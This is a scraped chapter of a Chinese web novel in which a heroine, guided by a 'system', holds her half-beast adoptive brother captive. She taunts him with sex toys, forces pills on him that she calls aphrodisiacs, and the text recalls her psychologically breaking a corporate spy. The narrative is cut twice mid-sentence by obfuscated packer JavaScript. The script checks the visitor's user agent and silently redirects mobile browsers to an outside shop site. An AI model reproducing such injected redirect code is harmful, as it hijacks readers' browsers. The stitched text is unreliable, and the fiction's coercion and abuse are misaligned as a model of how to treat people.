【宿主宿主您终于醒了!任务才做到一半您怎么能在浴缸里睡着啊什么年纪这么缺觉!!!就不怕不小心被淹死吗?而且而且万一目标趁机逃跑怎么办?】 它还在啊。 所以,世界是……一本小黄/书吗? 纪宁馨无声地笑了下,打了个哈欠:“啊呀,那哥哥跑了吗?” 1007:【……】 1007:【没有……】 不仅没有跑,目标现在……在厨房煮粥。 1007有些复杂地看向抱着羽绒被坐在床上,脑袋一点一点还在打瞌睡的宿主。纪宁馨伸出两只手搓了搓自己的脸,抬头朝1007甜笑了下:“对了,任务怎么样?完成了吗?” 1007更加复杂了,它不知道怎么说,干脆给宿主放起了昨晚的剧情记录。 昨晚,宿主说那些话的时候,目标的痛苦和愧疚就跟火箭一样刷刷地往上窜,1007一边震惊于宿主说的那些事,一边激动的心颤抖的手,眼看马上数值就要达标,宿主的声音突然变得越来越小,最后甚至没声了。 1007的电子心脏跟过山车一样上蹿下跳,还以为出了什么事,结果小光团冲过去一看,宿主缩在目标怀里,大半个身体都泡着水,居然就这么陷入了深甜睡梦。 1007傻了,恨不得趴在宿主耳边尖叫。 任务还没完成呢怎么睡得着的!目标的数值还没到呢!也还没作出承诺呢!还需要宿主再推一把啊!宿主你快醒醒世界真的会毁灭的啊啊啊! 但……1007看着纪宁馨还挂着笑的睡颜和肩上的伤痕,没敢真这么做,也有点舍不得。 就在光团纠结万分,最后觉得就按现在这样擦边凑个合格分应该也行,得过且过吧时候,情绪检测的绿灯居然亮了。 目标的痛苦和愧疚还在持续上升。 1007愣了,就看见目标缓缓抱住它的宿主,他仿佛被人突然打断了脊椎,整个人都微微往下弯折下去,抱着宿主的样子像是在抱一个婴儿,小心翼翼不敢用一点力气,右手托着宿主的后脑,指尖很轻地抚摸着。 “小宝是最厉害的……”目标哽咽着低声开口,“小宝……无所不能……对不起……对不……起……让你……这么疼……” 他几乎说不下去,声音断断续续,破碎的话语拼成最后的一句话。 “哥哥……不会拒绝……什么都会,为你做……什么都……” 至此,目标情绪达标,承诺达标,任务以100分的评价圆满完成,剧情修复度3%,剧情完整度上升1.47%。 出师大捷。 1007放完这段,刚打算收起记录,纪宁馨却开口:“继续放。” 1007伸出一根细细的光条挠了挠光团:【宿主,剩下的没有剧情节点了啊。】 纪宁馨只是微笑,轻轻吐出两个字:“继续。” 1007一抖,怂了吧唧地听话了。 记录画面里,季迟目光空洞地抱着她,许久之后才慢慢解开围巾和自己脚踝上绑着的绳索,放干净浴缸里的水,找到浴巾将纪宁馨裹在里面,在浴巾下剥掉她身上已经湿透的衣服,又在一遍遍确认了前往房间,能到达床的路线之后,才再次回到浴室抱起纪宁馨,缓慢地挪过去,将她放在床上,给她换上睡衣。 他的眼睛看不见,所以每一件事都做得极其艰难,不断地摸索,寻找,跌倒,再爬起来。好在纪宁馨的屋子里铺着厚厚的地毯,也没有太多杂乱的家具,桌椅柜子的边角都是圆钝的,尖锐或易碎的制品都好好地收在柜子里面。 因此季迟并没有在这次摸索中受太重的伤,但依旧有好几次摔得差点爬不起来,按着右腿的膝盖骨缓了好一会儿,才痛苦地撑着地面挪动。 可当他抱起纪宁馨的时候,那一整路,他都没有再摔倒过一次。 1007和纪宁馨一起窝在床上看记录,最后的画面里,季迟垫着几层浴巾,让纪宁馨枕着他的大腿,用吹风机给她吹头发,他微低着头,开着最低速的风,修长白皙手指很轻地穿过她的发丝,手背上能看见些发红的擦伤和淡青的血管。 1007看得电子心脏软软,小声开口:【那个……宿主,您昨晚上说的都是真的吗?】 呜呜呜他们明明看上去这么温馨,目标真的曾经差点把宿主杀掉吗? 纪宁馨抬眸,笑眯眯:“假的哦,我骗人的嘛。” 1007:【……】 1007觉得自己的电子心脏刷的变硬了:【宿主,您是不是觉得我很好骗?您昨晚说的是真的现在才是在骗我吧!】 “哎,被发现了啊,我们77真聪明。”纪宁馨随口哄它,在床上滚了一圈,又把头埋进枕头。 【我叫1007,不是77,不要随便给我改编号呀宿主。】1007鼓鼓光团,但没硬气十秒钟,又忍不住问,【宿主,所以其实您并不是像剧情里说的那样,只因为嫉妒目标就做了那些坏事,而是因为……您恨目标?您就是来向目标报仇的,为了那个曾经对哥哥毫无保留,却被伤害被扔掉了的自己报仇,对吗?】 纪宁馨闷着头,肩膀微微抖了抖。 1007觉得自己窥到了真相。 它有些心疼,觉得自己该劝点什么,但又嘴笨,最后只能飘过去用软乎乎的光团蹭蹭她的手背。 她先被辜负,被伤害,然后被扭曲,变得疯狂,却被叫做反派,最后被关进精神病院…… 多不公平啊。 但目标好像也并没有罪大恶极,那时候他没有意识,无法控制自己,他根本不想伤害宿主,仅仅只是因为一场意外,就要承受来自最爱的妹妹极端的羞辱和报复,最后也是身心俱疲,痛苦万分。 怎么就这样了呢? 1007差点为这段阴差阳错流下两滴眼泪,可惜没有眼睛,只好挤挤光团,小声提醒道:【宿主,目标过来了。】 话音刚落,房门被轻手轻脚地推开了。 纪宁馨没从床上爬起来,只抱着枕头侧过头看向门口。 季迟一手端着一碗粥,一手摸索着门框边缘,脚步无声地一点点往里挪着,右腿有些不太明显的跛,毛茸茸的尾巴为了保持平衡微微晃着。他简单把头发绑了起来露出整张脸,五官线条柔美,没有半点攻击性,苍白的脸颊浮着病态的潮红,眼睫低垂,身上还是昨晚那身已经残破了的衣服,带着潮气,紧紧贴着满是伤痕的皮肤,透出点点被水泡过后淡粉的血迹。 他看上去已经从昨晚的应激和混乱中完全冷静下来,虽然狼狈得不行,但依旧身姿端正,教养良好,像是个哥哥的样子。 季迟没发现纪宁馨已经醒了,小心翼翼地将碗放在床头的柜子上,轻轻呼出一口气,摩挲了下被烫红的指尖。 纪宁馨的目光落在那双手上面。 那双手平添了许多新的,昨晚没有的伤,有被刀子割的,被火烫的,伤口泡了水,十指几乎没有一处完好……厨房对瞎子来说还是太危险了一点,况且季迟自从兽化被收养后养尊处优,大概也很多年没有进过厨房了。 季迟靠着柜子站了会儿,转过身摸索着弯下腰,一手撑着床沿,一手小心地探过来,先是顺着枕头摸到纪宁馨的头发,又顺着头发,慢慢用指背探了探她的额头。 没发烧。 他松了口气,就要收回手,不想吵醒她。 他的手被抓住了,正好抓在一块被烫伤的地方,又被用力往下扯过去。季迟疼得身体一颤,慌乱中只好用另一只手撑住枕头,才不至于一头栽下去,尾巴完全竖了起来。 “嘶……”纪宁馨软乎乎地抱怨,“哥哥压到我头发了。” 季迟压在枕头上的那只手顿时卸了力气,于是整个人再也保持不了平衡,跌在床上,被过于柔软的床垫弹了弹。 他头晕目眩,缓了几秒才挣扎着想爬起来,纪宁馨已经整个缠上他手臂,一双小腿抬起卷上他的大腿,树懒似的扒拉在他身上,睡裙全卷到了腰上,抱着他像抱着个火炉:“哥哥躲什么?难不成是因为昨晚上给我换衣服,把我看光了,所以害羞呢?” 季迟呼吸一窒,脸上血色刷的褪去,眉头很细地蹙了下。 “我……”他沙哑地低声道,“看不见。” “哦,那就是没看,但全摸过了。”纪宁馨表示认同,看到季迟的脸色,忍不住笑道,“哥哥这是什么表情?我又没怪你,又没说你性/骚扰,小时候哥哥不是还给我换过纸尿裤吗?” 季迟张了张嘴,想解释当时他叫不醒她,但衣服已经全湿了,不换会生病,而且他很小心,没有乱摸。 他听出纪宁馨声音里的调笑和捉弄,这让她像是变回了他记忆里那个爱说爱笑又爱撒娇的妹妹,差点让他下意识拿出曾经做哥哥时的口吻,想要笑着,带着纵容和无奈地说句“不要闹了,乖一点,小宝”。 哥哥和妹妹之间不该开这样的玩笑。 但昨晚呛水的记忆和那片让他撕心裂肺的伤疤阻止了他的所有动作,他知道,不一样了。 最后季迟抿抿嘴唇,有些逃避似的说:“放开我好吗?我身上不干净,会弄脏床。” 纪宁馨“唔”了声,把头往他胸口埋了埋,那里温度滚烫:“那么脏啊?那哥哥一会儿帮我洗床单换被套啊。” 她有点古怪地弯了下嘴唇:“反正以后,要弄脏的时候多了,早点习惯才好。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514896|203145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 季迟失焦的眼睛透出丝茫然,但还是沉默了几秒,就低声说了句“好”,又问:“你……饿了吗?要不要先吃点东西?” 他的每句话都透着小心翼翼,像被突然被抓进屋子,看到罐头都不敢吃,只敢缩在沙发底下,一点点试探着探出脑袋,随时准备缩回去的流浪猫。 但他明明是只家养的,并且应该被养得很矜贵。 纪宁馨笑了,松开他伸了个懒腰:“那哥哥喂我。” 季迟身体热得难受,纪宁馨体温低,贴上来时反倒能让他舒服些。这会儿这片凉意离开了,季迟喉结很轻地上下滚了滚,最终什么都没说,从她的床上爬起来,摸索着捧起床边柜子上的碗,低头用勺子轻轻搅拌,整个人形销骨立,让人怀疑季家是不是不给他吃饭。 他舀起一勺粥,但不知道该往那个方向递过去。 没等他想好,纪宁馨又抓住了他的手腕,这次避开了那些新伤旧伤,力道很轻地牵引,没有弄疼他。随后她凑过去,喝掉了那勺粥。 “南瓜粥啊,哥哥还记得我喜欢什么。唔,就是不够甜。”纪宁馨舔舔嘴唇,动作很自然地从季迟手里把碗接过去喝了两口,又舀起一勺抬起来抵在季迟的嘴边。 季迟再次愣住,像被这种久违的温情烫了下,好一会儿,他才低下头,很轻地抿了抿,干燥起皮的嘴唇染上一层亮晶晶的潮湿。 很甜的。 他的眼眶有些发红,连身体都微微晃了。 纪宁馨没说话,她真的饿了,自己喝两口就往季迟嘴里喂一口,一碗南瓜粥很快喝完了,季迟问要不要再盛一点过来,被纪宁馨拒绝。 她把碗搁在一边,抱着被子靠在床头,半眯着眼睛假寐,季迟硬撑着站在床边,整个人越来越昏沉,他用比人类更尖锐一些的虎牙轻轻咬着口腔里的软肉,让自己保持清醒。 “小宝。”犹豫许久,季迟终于开口,“我们……”谈谈吧。 他想知道的太多了,这些年是怎么过的?现在过得好不好?经历了多少辛苦?有没有饿过肚子?身上还有没有别的伤?身边……有没有能够相信的,能够照顾你的好人? 小宝想要得到什么?哥哥该怎么帮你? 他没有趁着她睡着试图逃走,他想跟她谈谈,在两个人都冷静的时候。他不能被关在这里,就像他说的,季氏的私兵想必已经出动了,正在满世界地搜寻他,小宝藏不了他一辈子。 一天,两天,他可以糊弄过去,但时间越久,就越难解释。 还有他的眼睛…… 他们不会允许他的器官出现这种永久性的伤残,如果他的眼睛好不了,那些人不会善罢甘休。 太危险了。 “哥哥。”纪宁馨打断他,“往你左手边转九十度,再一直往前走,你面前会有一个柜子。打开它,把最下层那个箱子拿来给我。” 季迟把话暂时吞回去,点头,忍着身体的难受按照她的吩咐摸索过去,1007飘到纪宁馨耳边,传声道:【宿主,虽然现在没有剧情任务,所以您做什么都可以,但……】 这是不是太温情了一点啊?好像他们从未分开过,一直是相亲相爱的兄妹似的。 1007有点搞不明白了,它好不容易理解了宿主恨目标这件事,以为宿主要马不停蹄开始折磨目标不死不休了,还在担心宿主过火准备随时冲出来拦着,结果两个人突然你爱我我爱你甜甜蜜蜜地开始喂食…… 这之后还欺负得下手吗? 1007觉得自己也很矛盾,宿主对目标好它也担心坏它也担心,又想宿主完成任务又不希望宿主真是个没有人性的坏家伙,光团扭来扭曲,最后纠结地说道:【嗯……剧情任务也完成最低限度就可以了,允许心软一点点的。】 纪宁馨无声地牵了下嘴角,心里对所谓的任务和系统早已经做下判断。 宽松的不需要动脑的任务。 好用的,天真又“善良”的系统。 计划不用变,未来会如她所愿。 季迟已经摸到了纪宁馨口中的柜子前,他打开柜子,艰难地半跪下/身体,纪宁馨看到他摸索着寻找了一会儿,而后不知道发现了什么,原本柔软晃动的尾巴突然绷直。 纪宁馨笑问:“哥哥,找到了吗?” 季迟没回应,他呆滞地蹲着,慢慢地,仔细地摸了摸刚才碰到的东西,这个柜子里堆满了大大小小的杂物,他最开始没有在意,忍着手上的疼痛拨开它们,一心想找到妹妹要的箱子。 但这个……他现在抓在手里的这个,形状太明确了,让他没法忽视也没法欺骗自己。 圆柱状的,表面覆盖了层皮肤质感的硅胶,很粗,粗得吓人,也很……逼真。 几乎能摸到微微凸起的青筋。 身后传来被子摩擦的声音,随后是妹妹轻盈的脚步声,就停在他身后,一声轻笑。 “哎呀,喜欢这个啊,哥哥?” 5. 酒精 “喜欢这个啊,哥哥?” 纪宁馨笑眯眯地说出这句话,如愿以偿地看到哥哥瞬间涨红又瞬间煞白的脸。她伸手要从他手里把那个玩具拿过来的时候,季迟甚至缩紧手指躲闪了下,像是觉得脏,不想让她碰到。 纪宁馨就又笑了:“看来哥哥是真的喜欢,眼光不错,这是NX系列的经典款,好评度很高。哦,不过大小是特意定制的,如果不好好做准备,可能会受伤哦。” “这……”季迟差点说不出话来,手上也没了力气,被纪宁馨轻易拿走了手里的“玩具”,又塞进一个新的。 这个的形状季迟摸不懂,只觉得很长,长得叫人恐惧。纪宁馨介绍:“这是清洗用的,能洗得很深很深,洗干净每一个角落和褶皱,水压调得大一点,出水口就会像鱼一样乱窜……” 季迟手一抖,纪宁馨又换了个,这个比之前两个都要小,细细的一条,金属质地,似乎是中空的。 “这是用在这里的。”纪宁馨伸手一碰,季迟几乎要跳起来,牵扯到右膝盖痛苦地闷哼了声,难堪地伸手去挡,脸色已经变得比昨晚呛水时还要糟糕。 纪宁馨好整以暇地收回手:“这个做了智能设计,可以实现完全的控制,只要不被允许,就一滴都不会漏出来。但只要控制者希望,那么不管在哪里,在做什么,都会立刻……” 她笑了下,没有把话说全,又把这个拿走,拿来另一个。 “小宝!”季迟不知道想到了什么,眼睛几乎要红了,呼吸急促声音发抖,“谁教的你这些?他们对你做了……他们用这些对你……” “哥哥想什么呢?不如问问我用这些对别人做过什么。”纪宁馨好笑地拿最开始那个仿真玩具拍了拍季迟的脸,“这时候要给我摆出哥哥的架子吗?嗯?哥哥连我现在叫什么名字都不知道吧。” 这句话像一盆水浇熄了季迟少见的愤怒,随后疼痛从心脏爬上来,漫过四肢百骸。恶心的触感拍在他的脸上,季迟微微睁大眼睛,就感觉手里又被塞了个东西,很大很沉,四四方方,他贫瘠的大脑无法勾勒出这次的东西又有什么让人反胃恐惧的用处。 纪宁馨被他的表情逗笑:“这是箱子。” 她顿了顿,乐不可支:“真箱子。” 季迟:“……” 纪宁馨伸手把箱子打开,从里面窸窸窣窣地拿出什么。 “我前段时间弄到了个好东西,还没有在别人身上试过……嗯,毕竟那些家伙也用不了,人又不是小猫,还会发/情,哥哥你说对吧?” 季迟猛然一震,整个人全无血色,摇摇欲坠。 他像是这会儿才终于突然意识到,这些东西,是妹妹想要用在他身上的。 据说早期的兽人和真正的猫一样,每年有固定的发/情期,他们会变得放//荡,淫//乱,为了得到抚慰不择手段,甚至不惜尊严,那是他们求偶所必需的。不过后来随着兽人的社会地位越来越高,逐渐掌控整个联盟后,在层层的基因筛选和抑制药物辅助下,发/情这种情况已经极其少见,非常可控。 不过既然能够被药物控制,自然也能够被药物引发,虽然相关研究在当下是明令禁止的。 纪宁馨将一个药片抵在他的唇边,哄道:“哥哥,嘴张开。” 季迟并不配合,紧紧抿着嘴唇。纪宁馨也不生气,伸手抓住他的尾巴,很有技巧地轻轻一扯。季迟只觉得一道电流从尾巴尖窜上来,本能地急促喘息了一下想要躲,那片药就被塞进齿间。 “唔……” 他想用舌尖把药推出去,被纪宁馨熟练地掐住了下颌,明明没用什么力气,但却让他无法合上嘴。 “哥哥。”纪宁馨笑着叫他,把脸凑过去,“我也没那么不近人情,要么……哥哥一巴掌把我打清醒,哥哥打得下手,我就不碰你了。” 季迟原本挣扎的动作瞬间停了,纪宁馨早知道会这样,用拇指顶开他的牙齿,将药片往里推,声音甜得发腻,“如果哥哥不打,要么,上面吃和下面吃,哥哥自己选一个吧?” 从摸到第一个玩具开始,季迟就觉得,自己好像又掉进了一个噩梦。 他的妹妹,干净的,柔软的,笑起来时仿佛天地间多了一颗太阳,本该离世界上一切的肮脏都很远。 他刚因为妹妹没有被这些恶心的东西侮辱而松一口气,就被扯进新的噩梦里。 他知道妹妹想要伤害他,他做好了鲜血淋漓痛苦不堪的准备,甚至刻意没有去处理自己身上的伤,放任自己一次次跌倒,被割伤烫伤。只要不留下永久伤残给她带来危险,他被怎么对待都可以,妹妹想要什么他就会给她什么,只要能让她开心,只要能冲淡她记忆中被撕咬的疼痛。 可他是哥哥。 从抱着一个哇哇啼哭的婴儿,到看着她一天天长大。 所以,怎么可以用这种方式……用这么熟练的手段……逼他……在她面前发/情? 季迟依旧不肯把药片咽下去,嘴唇嗫嚅,发出含糊的声音。 “别这样……你是,我妹妹啊……小宝……” 可是药化在涎水里,苦得舌头发麻,顺着嘴角往外溢。他不敢剧烈挣扎,被迫微微仰着头,痉挛着收紧自己的手指。 纪宁馨笑道:“看来哥哥选择用下面吃。不过下面的话,药效会翻倍哦,我是没有意见的。” 不容质疑,不容反抗。 他不可能打她的。 季迟终于合了下眼睛,眼角有滴眼泪顺着皮肤流进鸦黑的鬓角。 喉结上下一滚,咽下去了。 纪宁馨还觉得不够一样,又往他嘴里塞了一片,这次季迟连挣扎都没了,不等药片化掉,就干涩艰难地往下吞,差点被噎得干呕,喉口泛着粗糙的疼。 然后,他会变成什么样?季迟不敢想,他没有经历过那种事,这么多年他仿佛连欲/望都没有过,虽然不是没见过淫/靡的场景,但也只觉得不堪。 他只能低声央求纪宁馨:“小宝,把眼睛闭起来……好吗?” 至少,别看他。 “不着急。”纪宁馨又拿出了什么,在季迟耳边晃了晃,像是盛着什么液体的瓶子,“哥哥,再选一个。左手这瓶呢比较刺激,所以会很疼。右手的温和些,但带颜色,容易染脏衣服。哥哥想要哪个?” 液体…… 他不想去思考,这个东西要用来做什么,清洗什么。 季迟的指甲没入掌心,原本就伤痕累累的双手传来尖锐的疼痛,抗拒的话噎在喉口。 他终于垂下头,低声说:“……左手的。” 纪宁馨把两个瓶子放下了,季迟浑身僵硬,大脑里耳鸣声嗡嗡响着,他不知道自己现在该做什么,做什么好像都很不堪。他也不理解为什么小宝要用这种方式对他,有些念头明明连落在她身上都是罪恶的。 季迟只能用最后的力气抬起手,虚浮地试图阻挡。 “小宝,太脏了,别……嘶。”他话没说完,被突如其来的刺痛打断了,又湿又凉又柔软的东西戳在右手的伤口上,空气里弥漫起腥甜的味道。 “痛了?哥哥自己选的啊。”纪宁馨把已经被血染红的棉团扔到一边,夹了个新的往瓶子里一蘸,戳在季迟的右手上,那只手疼得颤了颤,原本痉挛缩紧的小猫爪缓缓在她手中张开了。 纪宁馨低头轻轻吹了吹,动作放得更轻一些,笑道:“现在反悔想换成不疼的还来得及哦。” 季迟半晌没说话,表情非常有意思。等纪宁馨处理好他的右手,又把他的左手拉过来,他才从嗓子里逼出几个细弱沙哑的字。 “左手的,瓶子里……是……” 纪宁馨回答:“酒精啊,哥哥已经闻出来了吧。” “那……右手的……” “碘伏。” 季迟又沉默了一会儿:“刚刚……吃的药……” “退烧药,特效的。刚才哥哥摸我额头的时候我就发现了,手好烫啊。”纪宁馨给他的另一只手消好毒,又翻出药膏涂在几道比较深的刀伤处,包上纱布,“哥哥要是选下面吃,我就拆颗栓剂了。” 季迟一张脸由白转红,又由红转青,最后归于一片空白。纪宁馨却没这么容易放过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514897|203145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,擦好药,笑吟吟地问:“所以,刚才哥哥觉得哪里脏?哪里……需要洗干净?” “……”季迟张了张嘴,最终也什么都没能说出来。 纪宁馨不再管他,收好药箱和玩具,把一些药和纱布放在桌上,转身去卫生间洗漱,又给自己冲了个澡,披着浴巾一身清爽地走出来,季迟还跌坐在原地,像是灵魂被抽走了。 她踢踢踏踏地踩着湿拖鞋给自己翻出套衣服换上,季迟耳朵一动,听到声音,似乎微微别开脸,明明看不到,却露出一副非礼勿视的回避样子。 纪宁馨看着,发出一声轻嗤,把刚翻出来的浴袍扔到他身上:“我要出门处理点事情,想谈什么等我回来再说。哥哥应该也把这件屋子摸熟了,记得把自己洗干净,换件衣服乖乖呆着,好不好?” 季迟沉默片刻,声音轻得像是在飘:“……放我走吧,我不会说出你的。” 纪宁馨笑了:“看来哥哥还没弄清楚情况。唔……再过不久应该就有新闻播报这件事了,到时候大概会这么说吧。” 她绘声绘色地学道:“首席季氏的公子在前往山区考察慈善资助对象途中,意外遭遇极端人类主义组织,双方发生激烈冲突,当前季先生下落不明,有关部门正加紧搜寻。极端人类主义是破坏种族和平,威胁社会稳定的重要犯罪因素,我们必须这样这样那样那样……呵,这可是篇好文章,那群高高在上的老猫们应该很乐意借此清理掉一批人,哥哥要是现在冒出来,不是反倒让一些人为难吗?” 季迟的大脑在高烧和药效的双重作用下浑浑噩噩,并不能很好地捕捉纪宁馨话中的每一个信息,只问:“这就是……你需要的,想看到的?” 纪宁馨扣好最后一颗纽扣,一圈圈将那条红围巾缠在脖子上,遮住了所有的伤痕,声音漫不经心又甜蜜深情。 “那些关我什么事?他们闹他们的,哥哥,我只要你而已。” 她说完,转身就要离开。 “小宝。”季迟轻轻叫她。他终于抬起头,眼眶还是红的,眼角的泪水干了,紧绷发疼,就像他干涩的声音,“你现在……叫什么名字?” 纪宁馨身体一顿,觉得有些好笑。 他们曾一起生活了十三年,相依为命了十三年,好像是彼此的另一半灵魂,如今哥哥问她,你叫什么名字。 但这是谁的错呢? “我姓纪……”纪宁馨在季迟明显怔愣的神情中轻巧地回答,“不是哥哥的那个季,是丝己纪。我新的家人给我起的名字,叫纪宁馨。” 卧室的门打开又关上,没有落锁,随后是大门开关的声音,也不知道她是有多么自信,好像根本不觉得他会逃跑一样。季迟空荡荡地“盯”着纪宁馨离开的方向,怀里抱着她刚刚扔给他的浴袍——他怕手上的药和血弄脏衣服,只敢用手臂夹着。 右腿膝盖突然剧烈地疼起来,像是无数钢针刺进了膝盖下脆弱的骨缝。 季迟弯下腰,身上一层层地冒着冷汗,退烧药的效果太好,体温骤然降下来后,他又开始觉得冷。 寒意透骨的冷。 “纪……宁馨。” “新的……家人……” 他的小宝,现在叫纪宁馨。 她有了新的家人。 那他呢? 他是什么? * 【宿主宿主,刚刚吓死我了,我真以为你给目标喂那种药了!】纪宁馨刚离开住处,1007就开始在她耳边聒噪。 呜呜呜目标的样子看上去真的好可怜,被宿主捏在手心里死了活活了死的。 还好,宿主最后还是心软。 司机老欧已经在楼外等她了,纪宁馨打了声招呼坐上后座,升起隔板翘着腿晃了晃:“宝贝,你怎么知道我没喂?” 【……】1007愣住,【啊?可那不是退烧药吗?】 纪宁馨学着它的语气:“对啊,可我不是喂了两片吗?” 1007:【……】 系统傻掉,不知道宿主说的是真是假。 分不清啊,它已经分不清了。 6. 烧 车平稳地开着,路上,纪宁馨像是想起了什么,撑着脸笑:“77宝贝,作为辅助我完成任务的系统,你应该可以实时关注目标的状态吧?就像昨晚那样。” 1007:【……可以的。】爱叫什么就叫什么吧,它不敢管了。 “我不喜欢在住的地方装监控,像被人监视着。”纪宁馨伸出手指摸了下光团,“所以可以拜托77盯着哥哥吗?” 这本来就是分内的事,1007猛猛上下晃动。 有事做了的1007安静下来,纪宁馨又让它调出这个世界的“原著”,一页一页翻过去。 昨天和今早发生的事已经被完整记录,密密麻麻的好几页,除此之外,再往后翻依旧是大片的空白和零星点缀着的一些句子,以及许多的口口。 大约翻到三分之一处,关于精神病院的剧情后,一个灰色的锁出现在页面上,后面的内容无法查阅。 【这是这本书里其他主角的剧情,现在还没有解锁。】1007解释,【等我绑定其他宿主,才能打开相关内容。等宿主您的所有任务都完成,剧情完整度应该会达到45%,剧情修复度达到32%。】 “这样啊。”纪宁馨眸光一闪,合上原著。 下一个有明确文字记录的剧情,按照现在记录下的剧情密度推算,应该会在两天内发生,乍一看上去全是口口,如果换个人来看估计都看不懂他们在干什么。 【纪宁馨用口口口口季迟的口口,那里瞬间口口口口,口口……】 【口口口口,口口已经松开,疼痛绞着口口,口口口口滴滴答答地口口口……】 【季迟口口口口,口口口口口口口……】 唯一一句相对比较完整的话是她的台词,她在哥哥脸上轻飘飘打了一下,笑道:这就受不了了吗?对不听话的小猫,惩罚才刚开始啊。 纪宁馨用手指抵着自己的下唇,愉快地笑出了声。 她住的地方距离目的地有些距离,四十多分钟后,车才平稳停进地下车库。老欧绕过来给她开门,带着点笑容恭维:“小姐今天看上去好像很高兴,是发生好事了吧?” “很明显吗?刚弄到一个一直很想要的玩具,有点兴奋过头了。”纪宁馨用手指戳戳自己的脸颊,笑着吩咐,“欧叔,麻烦您一小时后来接我。” “好的小姐。” 纪宁馨走进高层专属的电梯,直达总裁办公室的楼层。出电梯后轻车熟路地穿过秘书室直奔总裁办公室,几个眼熟的秘书像是看到救星一样赶紧站起来迎她,同时悄悄给她使了个眼色。 屋里传来文件被摔在门上的声音,纪宁馨拍拍她们的手,推门进去。 秘书们伸长脖子往那边看了眼,一个新来的小秘书胆战心惊地问:“她……她怎么门都不敲就直接进去了?程总在发火呢……” “没事没事。”秘书长方瑜听着总裁室里的动静,很快松了口气,笑道,“小姐来了,程总就什么火都发不出来了。” 小秘书疑惑道:“她是程总的……”女朋友?但那女孩看上去年纪挺小,短发娃娃脸,一团学生气,应该还在上大学吧? 方瑜敲了下她的脑袋,回答:“名义上是妹妹。” 名义上的妹妹,很引人遐想的一个关系。 小秘书眼珠子转了转,不说话了。 * 总裁办公室里,纪宁馨四下撇了眼满地乱七八糟的文件和正在瑟瑟发抖汇报工作的部门经理,随意笑了下:“兄长,让他们出去,我有话说。” 坐在总裁椅上的男人皱了皱眉,但声音已经没了刚才的怒气:“越来越没规矩。” 又摆摆手:“你们都出去,方案全重做。” 那几个人一秒不敢耽搁,朝纪宁馨露出感激的表情,点头哈腰如释重负地退出去。纪宁馨捡起地上的几张策划案扫了眼,被里面天真不切实际的想法逗笑了:“这方案做得……好善良啊。” “你不用刻意找好听词夸他们,一个个的,白比你多活了那么多年,花了这么长时间给我拿出一份垃圾。”程宴时冷笑,端起咖啡抿了一口,目光落在纪宁馨身上,满意和不满交织在一起,“宁宁,你不赶紧处理那只猫,来这儿做什么?怎么,不顺利吗?” 纪宁馨歪头:“如果我说不顺利,兄长会把我活吞了吗?” 程宴时目光冰凉:“你应该能算出来,光昨天一晚上,我花了多少钱,搭进去多少资源和人。” 他扯了下嘴角:“宁宁,我知道你的手段,但别你用对付别人的手段来对付我。” 纪宁馨就笑了:“好吧,兄长安心,我只是在玩放置而已。您也知道,人也好猫也好,心理防线是个很微妙的东西,被置之不理有时候比被伤害还让人恐惧,如果一直在旁边盯着,他反倒觉得安全了。” 她把声音压低了些:“毕竟我们是要他听话,不是要他直接疯掉。” 程宴时点头,接受了这个解释。专业的事情得专业的人去做,纪宁馨磋磨人的手段他很清楚。 一年前,集团内部那个藏得很深的商业间谍就是被纪宁馨挖出来的,人抓住后,一开始他们谁都拿他没办法,嘴太硬,骨头也硬。 然而纪宁馨主动要走了他,后来,不到一个月的时间,她掏空了他身上所有的秘密,帮集团躲过了一个伤筋动骨的大危机。 有时候程宴时觉得,可以把纪宁馨做的那些事称为“重塑”,那人的身体上明明没有多少明显的伤痕,精神和人格却彻底崩溃,生命里似乎只剩下了纪宁馨一个人,狗一样乖顺地趴在她的脚下,甚至很长一段时间无法承受纪宁馨离开他的视线。 他变得很乖,非常乖。除了纪宁馨的声音外,他只会对一个特殊的铃声产生反应,一敲响铃铛,他就茫然麻木地抬起头,对铃声后的命令言听计从。 也就是在那之后,纪宁馨提出了一个极其大胆的想法。 程氏的程远集团手中掌控着议院的末席,程宴时野心勃勃,想要更进一步,但人类的身份让他哪怕拼命往上爬,最多也只能爬到人类所拥有的第七席,说出来稍微好听点罢了,并没有多大不同。 再往上,则是一条横亘在物种之间的天堑。 而她说:“兄长,我们没办法变成猫,但或许,我们能养一只猫。” 她说着,在他掌心划了一个名字:“一只……坐在最高位置上的猫。” 季迟,数十年来,唯一跨越了这条天堑的人类。 而季氏,掌控着议院的首席席位,手中的势力铺展在联盟的每一个角落。 那时程宴时就觉得,收养这个妹妹,是他前三十年做的风险最大,回报也最大的一笔投资。 他对她的一切都非常满意,就是不知道为什么,纪宁馨不爱叫他哥哥,就喜欢文绉绉地叫兄长,好像从古代穿越过来似的。程宴时一开始听着别扭,后来也渐渐习惯,随她去了。 想到这里,程宴时的表情变得柔和了一些:“我相信你不会让我失望。近期你手头上别的事情都放一放吧,专心把这件事办好,有什么需要的就告诉我,遇到麻烦也随时说。” “我可不会跟兄长客气,到时候别烦我就好。”纪宁馨把手里的那几张纸放到办公桌上,“我今天其实是来跟您说个有趣的消息,季氏打算在福山推进一个规模不小的工程……我记得兄长之前在那边买了一片地,打算开发度假村对吧,不过当时集团内部动荡换血,所以搁置了。” 程宴时眸光一顿:“这是你从季迟嘴里挖出来的?” 纪宁馨含笑:“是,具体的细节我会再挖挖。” 